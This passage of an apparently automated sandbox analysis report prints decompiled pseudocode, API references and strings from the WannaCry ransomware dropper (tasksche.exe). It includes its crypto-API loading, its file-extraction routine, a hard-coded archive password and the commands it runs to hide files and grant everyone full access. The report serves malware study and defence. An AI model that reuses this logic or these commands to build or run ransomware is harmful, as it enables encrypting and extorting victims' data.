+ (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t75[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t76[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t75[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t77[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t75[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t76[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t75[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t79[1] & 0x000000ff) * 4);
							_t73 =  &(_t79[2]);
							_t85 = _t85 - 1;
						} while (_t85 != 0);
					}
					if(_a12 != 0) {
						do {
							_t35 = _t35 >> 0x00000008 ^  *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4);
							_t73 =  &(_t73[1]);
							_t32 =  &_a12;
							 *_t32 = _a12 - 1;
						} while ( *_t32 != 0);
					}
					return  !_t35;
				} else {
					return 0;
				}
			}

0x00405422
0x00405427
0x00405436
0x0040543d
0x00405447
0x0040544a
0x0040544f
0x00405465
0x0040547f
0x00405496
0x004054ad
0x004054c4
0x004054db
0x00405503
0x00405505
0x00405506
0x00405506
0x0040550d
0x00405512
0x00405514
0x00405527
0x00405529
0x0040552a
0x0040552a
0x0040552a
0x00405514
0x00405534
0x00405429
0x0040542c
0x0040542c

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f53bbad7aeff0a1b6693495eaf2e1723a9e1ea82af51c52fb67f7a2539a612fb
Instruction ID: 3f72058ef88e406f14a8e4c5cd972b2546dbbe82ce95f55f9558457d0f17cbf0
Opcode Fuzzy Hash: f53bbad7aeff0a1b6693495eaf2e1723a9e1ea82af51c52fb67f7a2539a612fb
Instruction Fuzzy Hash: 8E31A133E285B207C3249EBA5C4006AF6D2AB4A125B4A8775DE88F7355E128EC96C6D4

Uniqueness

Uniqueness Score: -1.00%

Function 0040170A Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 65
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040170A() {
				void* _t3;
				_Unknown_base(*)()* _t11;
				struct HINSTANCE__* _t13;
				intOrPtr _t18;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;

				if(E00401A45() == 0) {
					L11:
					return 0;
				}
				_t18 =  *0x40f878; // 0x0
				if(_t18 != 0) {
					L10:
					_t3 = 1;
					return _t3;
				}
				_t13 = LoadLibraryA("kernel32.dll");
				if(_t13 == 0) {
					goto L11;
				}
				 *0x40f878 = GetProcAddress(_t13, "CreateFileW");
				 *0x40f87c = GetProcAddress(_t13, "WriteFile");
				 *0x40f880 = GetProcAddress(_t13, "ReadFile");
				 *0x40f884 = GetProcAddress(_t13, "MoveFileW");
				 *0x40f888 = GetProcAddress(_t13, "MoveFileExW");
				 *0x40f88c = GetProcAddress(_t13, "DeleteFileW");
				_t11 = GetProcAddress(_t13, "CloseHandle");
				_t20 =  *0x40f878; // 0x0
				 *0x40f890 = _t11;
				if(_t20 == 0) {
					goto L11;
				}
				_t21 =  *0x40f87c; // 0x0
				if(_t21 == 0) {
					goto L11;
				}
				_t22 =  *0x40f880; // 0x0
				if(_t22 == 0) {
					goto L11;
				}
				_t23 =  *0x40f884; // 0x0
				if(_t23 == 0) {
					goto L11;
				}
				_t24 =  *0x40f888; // 0x0
				if(_t24 == 0) {
					goto L11;
				}
				_t25 =  *0x40f88c; // 0x0
				if(_t25 == 0 || _t11 == 0) {
					goto L11;
				} else {
					goto L10;
				}
			}

0x00401713
0x004017d8
0x00000000
0x004017d8
0x0040171b
0x00401721
0x004017d3
0x004017d5
0x00000000
0x004017d5
0x00401732
0x00401736
0x00000000
0x00000000
0x00401751
0x0040175e
0x0040176b
0x00401778
0x00401785
0x00401792
0x00401797
0x00401799
0x0040179f
0x004017a5
0x00000000
0x00000000
0x004017a7
0x004017ad
0x00000000
0x00000000
0x004017af
0x004017b5
0x00000000
0x00000000
0x004017b7
0x004017bd
0x00000000
0x00000000
0x004017bf
0x004017c5
0x00000000
0x00000000
0x004017c7
0x004017cd
0x00000000
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 00401A45: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00401711), ref: 00401A5A
Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,?,?,00401711), ref: 00401A77
Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptImportKey,?,?,?,00401711), ref: 00401A84
Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptDestroyKey,?,?,?,00401711), ref: 00401A91
Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptEncrypt,?,?,?,00401711), ref: 00401A9E
Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptDecrypt,?,?,?,00401711), ref: 00401AAB
Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptGenKey,?,?,?,00401711), ref: 00401AB8

LoadLibraryA.KERNEL32(kernel32.dll), ref: 0040172C
GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 00401749
GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00401756
GetProcAddress.KERNEL32(00000000,ReadFile), ref: 00401763
GetProcAddress.KERNEL32(00000000,MoveFileW), ref: 00401770
GetProcAddress.KERNEL32(00000000,MoveFileExW), ref: 0040177D
GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 0040178A
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00401797

Strings

DeleteFileW, xrefs: 0040177F
MoveFileExW, xrefs: 00401772
CreateFileW, xrefs: 00401743
CloseHandle, xrefs: 0040178C
MoveFileW, xrefs: 00401765
ReadFile, xrefs: 00401758
WriteFile, xrefs: 0040174B
kernel32.dll, xrefs: 00401727

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CloseHandle$CreateFileW$DeleteFileW$MoveFileExW$MoveFileW$ReadFile$WriteFile$kernel32.dll
API String ID: 2238633743-1294736154
Opcode ID: 39239a652de09aa7f9a0fc3aed99621d6525255b515761ed1c17c464bdaba5bf
Instruction ID: c344c10c919c95db3ecd10b94979b50738023765c799e55a58251b06a1d00095
Opcode Fuzzy Hash: 39239a652de09aa7f9a0fc3aed99621d6525255b515761ed1c17c464bdaba5bf
Instruction Fuzzy Hash: D9118E729003059ACB30BF73AE84A577AF8A644751B64483FE501B3EF0D77894499E1E

Uniqueness

Uniqueness Score: -1.00%

Function 00407136 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 272
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00407136(intOrPtr* __ecx, void* __edx, void* _a4, char _a7, char* _a8, char _a11, signed int _a12, intOrPtr _a16) {
				long _v8;
				char _v267;
				char _v268;
				struct _FILETIME _v284;
				struct _FILETIME _v292;
				struct _FILETIME _v300;
				long _v304;
				char _v568;
				char _v828;
				intOrPtr _t78;
				intOrPtr _t89;
				intOrPtr _t91;
				intOrPtr _t96;
				intOrPtr _t97;
				char _t100;
				void* _t112;
				void* _t113;
				int _t124;
				long _t131;
				intOrPtr _t136;
				char* _t137;
				char* _t144;
				void* _t148;
				char* _t150;
				void* _t154;
				signed int _t155;
				long _t156;
				void* _t157;
				char* _t158;
				long _t159;
				intOrPtr* _t161;
				long _t162;
				void* _t163;
				void* _t164;

				_t154 = __edx;
				_t139 = __ecx;
				_t136 = _a16;
				_t161 = __ecx;
				if(_t136 == 3) {
					_t78 =  *((intOrPtr*)(__ecx + 4));
					_t155 = _a4;
					__eflags = _t155 - _t78;
					if(_t155 == _t78) {
						L14:
						_t156 = E00406880(_t139,  *_t161, _a8, _a12,  &_a7);
						__eflags = _t156;
						if(_t156 <= 0) {
							E00406A97( *_t161);
							_t14 = _t161 + 4;
							 *_t14 =  *(_t161 + 4) | 0xffffffff;
							__eflags =  *_t14;
						}
						__eflags = _a7;
						if(_a7 == 0) {
							__eflags = _t156;
							if(_t156 <= 0) {
								__eflags = _t156 - 0xffffff96;
								return ((0 | _t156 != 0xffffff96) - 0x00000001 & 0xfb001000) + 0x5000000;
							}
							return 0x600;
						} else {
							L17:
							return 0;
						}
					}
					__eflags = _t78 - 0xffffffff;
					if(_t78 != 0xffffffff) {
						E00406A97( *__ecx);
						_pop(_t139);
					}
					_t89 =  *_t161;
					 *(_t161 + 4) =  *(_t161 + 4) | 0xffffffff;
					__eflags = _t155 -  *((intOrPtr*)(_t89 + 4));
					if(_t155 >=  *((intOrPtr*)(_t89 + 4))) {
						L3:
						return 0x10000;
					} else {
						__eflags = _t155 -  *((intOrPtr*)(_t89 + 0x10));
						if(_t155 >=  *((intOrPtr*)(_t89 + 0x10))) {
							L11:
							_t91 =  *_t161;
							__eflags =  *((intOrPtr*)(_t91 + 0x10)) - _t155;
							if( *((intOrPtr*)(_t91 + 0x10)) >= _t155) {
								E0040671D(_t154,  *_t161,  *((intOrPtr*)(_t161 + 0x138)));
								 *(_t161 + 4) = _t155;
								_pop(_t139);
								goto L14;
							}
							E00406520(_t91);
							L10:
							goto L11;
						}
						E004064E2(_t139, _t89);
						goto L10;
					}
				}
				if(_t136 == 2 || _t136 == 1) {
					__eflags =  *(_t161 + 4) - 0xffffffff;
					if( *(_t161 + 4) != 0xffffffff) {
						E00406A97( *_t161);
						_pop(_t139);
					}
					_t96 =  *_t161;
					_t157 = _a4;
					 *(_t161 + 4) =  *(_t161 + 4) | 0xffffffff;
					__eflags = _t157 -  *((intOrPtr*)(_t96 + 4));
					if(_t157 >=  *((intOrPtr*)(_t96 + 4))) {
						goto L3;
					} else {
						__eflags = _t157 -  *((intOrPtr*)(_t96 + 0x10));
						if(_t157 >=  *((intOrPtr*)(_t96 + 0x10))) {
							L27:
							_t97 =  *_t161;
							__eflags =  *((intOrPtr*)(_t97 + 0x10)) - _t157;
							if( *((intOrPtr*)(_t97 + 0x10)) >= _t157) {
								E00406C40(_t161, _t154, _t157,  &_v568);
								__eflags = _v304 & 0x00000010;
								if((_v304 & 0x00000010) == 0) {
									__eflags = _t136 - 1;
									if(_t136 != 1) {
										_t158 = _a8;
										_t137 = _t158;
										_t144 = _t158;
										_t100 =  *_t158;
										while(1) {
											__eflags = _t100;
											if(_t100 == 0) {
												break;
											}
											__eflags = _t100 - 0x2f;
											if(_t100 == 0x2f) {
												L44:
												_t137 =  &(_t144[1]);
												L45:
												_t100 = _t144[1];
												_t144 =  &(_t144[1]);
												continue;
											}
											__eflags = _t100 - 0x5c;
											if(_t100 != 0x5c) {
												goto L45;
											}
											goto L44;
										}
										strcpy( &_v268, _t158);
										__eflags = _t137 - _t158;
										if(_t137 != _t158) {
											 *(_t163 + _t137 - _t158 - 0x108) =  *(_t163 + _t137 - _t158 - 0x108) & 0x00000000;
											__eflags = _v268 - 0x2f;
											if(_v268 == 0x2f) {
												L56:
												wsprintfA( &_v828, "%s%s",  &_v268, _t137);
												E00407070(0,  &_v268);
												_t164 = _t164 + 0x18;
												L49:
												__eflags = 0;
												_t112 = CreateFileA( &_v828, 0x40000000, 0, 0, 2, _v304, 0);
												L50:
												__eflags = _t112 - 0xffffffff;
												_a4 = _t112;
												if(_t112 != 0xffffffff) {
													_t113 = E0040671D(_t154,  *_t161,  *((intOrPtr*)(_t161 + 0x138)));
													__eflags =  *(_t161 + 0x13c);
													_pop(_t148);
													if( *(_t161 + 0x13c) == 0) {
														L00407700();
														_t148 = 0x4000;
														 *(_t161 + 0x13c) = _t113;
													}
													_t60 =  &_a12;
													 *_t60 = _a12 & 0x00000000;
													__eflags =  *_t60;
													while(1) {
														_t159 = E00406880(_t148,  *_t161,  *(_t161 + 0x13c), 0x4000,  &_a11);
														_t164 = _t164 + 0x10;
														__eflags = _t159 - 0xffffff96;
														if(_t159 == 0xffffff96) {
															break;
														}
														__eflags = _t159;
														if(__eflags < 0) {
															L68:
															_a12 = 0x5000000;
															L71:
															__eflags = _a16 - 1;
															if(_a16 != 1) {
																CloseHandle(_a4);
															}
															E00406A97( *_t161);
															return _a12;
														}
														if(__eflags <= 0) {
															L64:
															__eflags = _a11;
															if(_a11 != 0) {
																SetFileTime(_a4,  &_v292,  &_v300,  &_v284);
																goto L71;
															}
															__eflags = _t159;
															if(_t159 == 0) {
																goto L68;
															}
															continue;
														}
														_t124 = WriteFile(_a4,  *(_t161 + 0x13c), _t159,  &_v8, 0);
														__eflags = _t124;
														if(_t124 == 0) {
															_a12 = 0x400;
															goto L71;
														}
														goto L64;
													}
													_a12 = 0x1000;
													goto L71;
												}
												return 0x200;
											}
											__eflags = _v268 - 0x5c;
											if(_v268 == 0x5c) {
												goto L56;
											}
											__eflags = _v268;
											if(_v268 == 0) {
												L48:
												_t160 = _t161 + 0x140;
												wsprintfA( &_v828, "%s%s%s", _t161 + 0x140,  &_v268, _t137);
												E00407070(_t160,  &_v268);
												_t164 = _t164 + 0x1c;
												goto L49;
											}
											__eflags = _v267 - 0x3a;
											if(_v267 != 0x3a) {
												goto L48;
											}
											goto L56;
										}
										_t37 =  &_v268;
										 *_t37 = _v268 & 0x00000000;
										__eflags =  *_t37;
										goto L48;
									}
									_t112 = _a8;
									goto L50;
								}
								__eflags = _t136 - 1;
								if(_t136 == 1) {
									goto L17;
								}
								_t150 = _a8;
								_t131 =  *_t150;
								__eflags = _t131 - 0x2f;
								if(_t131 == 0x2f) {
									L35:
									_push(_t150);
									_push(0);
									L37:
									E00407070();
									goto L17;
								}
								__eflags = _t131 - 0x5c;
								if(_t131 == 0x5c) {
									goto L35;
								}
								__eflags = _t131;
								if(_t131 == 0) {
									L36:
									_t162 = _t161 + 0x140;
									__eflags = _t162;
									_push(_t150);
									_push(_t162);
									goto L37;
								}
								__eflags = _t150[1] - 0x3a;
								if(_t150[1] != 0x3a) {
									goto L36;
								}
								goto L35;
							}
							E00406520(_t97);
							L26:
							goto L27;
						}
						E004064E2(_t139, _t96);
						goto L26;
					}
				} else {
					goto L3;
				}
			}

0x00407136
0x00407136
0x00407140
0x00407148
0x0040714a
0x00407168
0x0040716b
0x0040716e
0x00407170
0x004071b7
0x004071c8
0x004071cd
0x004071cf
0x004071d3
0x004071d8
0x004071d8
0x004071d8
0x004071dc
0x004071dd
0x004071e1
0x004071ea
0x004071ec
0x004071fa
0x00000000
0x00407206
0x00000000
0x004071e3
0x004071e3
0x00000000
0x004071e3
0x004071e1
0x00407172
0x00407175
0x00407179
0x0040717e
0x0040717e
0x0040717f
0x00407181
0x00407185
0x00407188
0x0040715e
0x00000000
0x0040718a
0x0040718a
0x0040718d
0x00407196
0x00407196
0x00407198
0x0040719b
0x004071ad
0x004071b3
0x004071b6
0x00000000
0x004071b6
0x0040719e
0x00407195
0x00000000
0x00407195
0x00407190
0x00000000
0x00407190
0x00407188
0x0040714f
0x00407210
0x00407214
0x00407218
0x0040721d
0x0040721d
0x0040721e
0x00407220
0x00407223
0x00407227
0x0040722a
0x00000000
0x00407230
0x00407230
0x00407233
0x0040723c
0x0040723c
0x0040723e
0x00407241
0x00407255
0x0040725a
0x00407261
0x0040729c
0x0040729f
0x004072a9
0x004072ac
0x004072ae
0x004072b0
0x004072b2
0x004072b2
0x004072b4
0x00000000
0x00000000
0x004072b6
0x004072b8
0x004072be
0x004072be
0x004072c1
0x004072c1
0x004072c4
0x00000000
0x004072c4
0x004072ba
0x004072bc
0x00000000
0x00000000
0x00000000
0x004072bc
0x004072cf
0x004072d5
0x004072d8
0x00407347
0x0040734f
0x00407356
0x0040737b
0x0040738f
0x0040739e
0x004073a3
0x00407312
0x00407312
0x0040732b
0x00407331
0x00407331
0x00407334
0x00407337
0x004073b3
0x004073b8
0x004073c0
0x004073c6
0x004073c9
0x004073ce
0x004073cf
0x004073cf
0x004073d5
0x004073d5
0x004073d5
0x004073d9
0x004073eb
0x004073ed
0x004073f0
0x004073f3
0x00000000
0x00000000
0x004073f5
0x004073f7
0x0040742a
0x0040742a
0x0040745a
0x0040745a
0x0040745e
0x00407463
0x00407463
0x0040746b
0x00000000
0x00407473
0x004073f9
0x00407415
0x00407415
0x00407419
0x00407454
0x00000000
0x00407454
0x0040741b
0x0040741d
0x00000000
0x00000000
0x00000000
0x0040741f
0x0040740b
0x00407411
0x00407413
0x00407433
0x00000000
0x00407433
0x00000000
0x00407413
0x00407421
0x00000000
0x00407421
0x00000000
0x00407339
0x00407358
0x0040735f
0x00000000
0x00000000
0x00407361
0x00407368
0x004072e1
0x004072e7
0x004072fc
0x0040730a
0x0040730f
0x00000000
0x0040730f
0x0040736e
0x00407375
0x00000000
0x00000000
0x00000000
0x00407375
0x004072da
0x004072da
0x004072da
0x00000000
0x004072da
0x004072a1
0x00000000
0x004072a1
0x00407263
0x00407266
0x00000000
0x00000000
0x0040726c
0x0040726f
0x00407271
0x00407273
0x00407283
0x00407283
0x00407284
0x00407290
0x00407290
0x00000000
0x00407296
0x00407275
0x00407277
0x00000000
0x00000000
0x00407279
0x0040727b
0x00407288
0x00407288
0x00407288
0x0040728e
0x0040728f
0x00000000
0x0040728f
0x0040727d
0x00407281
0x00000000
0x00000000
0x00000000
0x00407281
0x00407244
0x0040723b
0x00000000
0x0040723b
0x00407236
0x00000000
0x00407236
0x00000000
0x00000000
0x00000000

Strings

:, xrefs: 0040736E
%s%s, xrefs: 00407389
\, xrefs: 00407358
%s%s%s, xrefs: 004072F6

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID:
String ID: %s%s$%s%s%s$:$\
API String ID: 0-1100577047
Opcode ID: fa5f8851d26bf09fdef4e4f1c55e900ad1a47778409aa7a1c0108d1ccba85c9d
Instruction ID: 622825bbce38b7500016b977d00db7372d85e5c8e1565b3adbba59f792ee02a2
Opcode Fuzzy Hash: fa5f8851d26bf09fdef4e4f1c55e900ad1a47778409aa7a1c0108d1ccba85c9d
Instruction Fuzzy Hash: 42A12A31C082049BDB319F14CC44BEA7BA9AB01314F2445BFF895B62D1D73DBA95CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040203B Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 106
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E0040203B(intOrPtr* __eax, void* __edi) {
				void* _t25;
				intOrPtr* _t33;
				int _t42;
				CHAR* _t63;
				void* _t64;
				char** _t66;

				__imp____p___argv();
				if(strcmp( *( *__eax + 4), "/i") != 0 || E00401B5F(_t42) == 0) {
					L4:
					if(strrchr(_t64 - 0x20c, 0x5c) != 0) {
						 *(strrchr(_t64 - 0x20c, 0x5c)) = _t42;
					}
					SetCurrentDirectoryA(_t64 - 0x20c);
					E004010FD(1);
					 *_t66 = "WNcry@2ol7";
					_push(_t42);
					L00401DAB();
					E00401E9E();
					E00401064("attrib +h .", _t42, _t42);
					E00401064("icacls . /grant Everyone:F /T /C /Q", _t42, _t42);
					_t25 = E0040170A();
					_t74 = _t25;
					if(_t25 != 0) {
						E004012FD(_t64 - 0x6e4, _t74);
						if(E00401437(_t64 - 0x6e4, _t42, _t42, _t42) != 0) {
							 *(_t64 - 4) = _t42;
							if(E004014A6(_t64 - 0x6e4, "t.wnry", _t64 - 4) != _t42 && E004021BD(_t31,  *(_t64 - 4)) != _t42) {
								_t33 = E00402924(_t32, "TaskStart");
								_t78 = _t33 - _t42;
								if(_t33 != _t42) {
									 *_t33(_t42, _t42);
								}
							}
						}
						E0040137A(_t64 - 0x6e4, _t78);
					}
					goto L13;
				} else {
					_t63 = "tasksche.exe";
					CopyFileA(_t64 - 0x20c, _t63, _t42);
					if(GetFileAttributesA(_t63) == 0xffffffff || E00401F5D(__edi) == 0) {
						goto L4;
					} else {
						L13:
						return 0;
					}
				}
			}

0x00402040
0x00402054
0x0040208e
0x004020a3
0x004020b1
0x004020b3
0x004020bb
0x004020c3
0x004020c8
0x004020cf
0x004020d0
0x004020d5
0x004020e1
0x004020ed
0x004020f5
0x004020fa
0x004020fc
0x00402104
0x00402119
0x0040212a
0x00402134
0x0040214b
0x00402151
0x00402154
0x00402158
0x00402158
0x00402154
0x00402134
0x00402160
0x00402160
0x00000000
0x00402061
0x00402061
0x0040206f
0x0040207f
0x00000000
0x00402165
0x00402165
0x0040216b
0x0040216b
0x0040207f

APIs

__p___argv.MSVCRT(0040F538), ref: 00402040
strcmp.MSVCRT(?), ref: 0040204B
CopyFileA.KERNEL32(?,tasksche.exe), ref: 0040206F
GetFileAttributesA.KERNEL32(tasksche.exe), ref: 00402076

Part of subcall function 00401F5D: GetFullPathNameA.KERNEL32(tasksche.exe,00000208,?,00000000), ref: 00401F97

strrchr.MSVCRT(?,0000005C,?,?,00000000), ref: 0040209D
strrchr.MSVCRT(?,0000005C), ref: 004020AE
SetCurrentDirectoryA.KERNEL32(?,00000000), ref: 004020BB

Part of subcall function 00401B5F: MultiByteToWideChar.KERNEL32(00000000,00000000,0040F8AC,000000FF,?,00000063), ref: 00401BCA
Part of subcall function 00401B5F: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00401BDD
Part of subcall function 00401B5F: swprintf.MSVCRT(?,%s\ProgramData,?), ref: 00401C04
Part of subcall function 00401B5F: GetFileAttributesW.KERNEL32(?), ref: 00401C10

Strings

icacls . /grant Everyone:F /T /C /Q, xrefs: 004020E8
t.wnry, xrefs: 00402125
TaskStart, xrefs: 00402145
attrib +h ., xrefs: 004020DC
tasksche.exe, xrefs: 00402061, 0040206D, 00402075

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

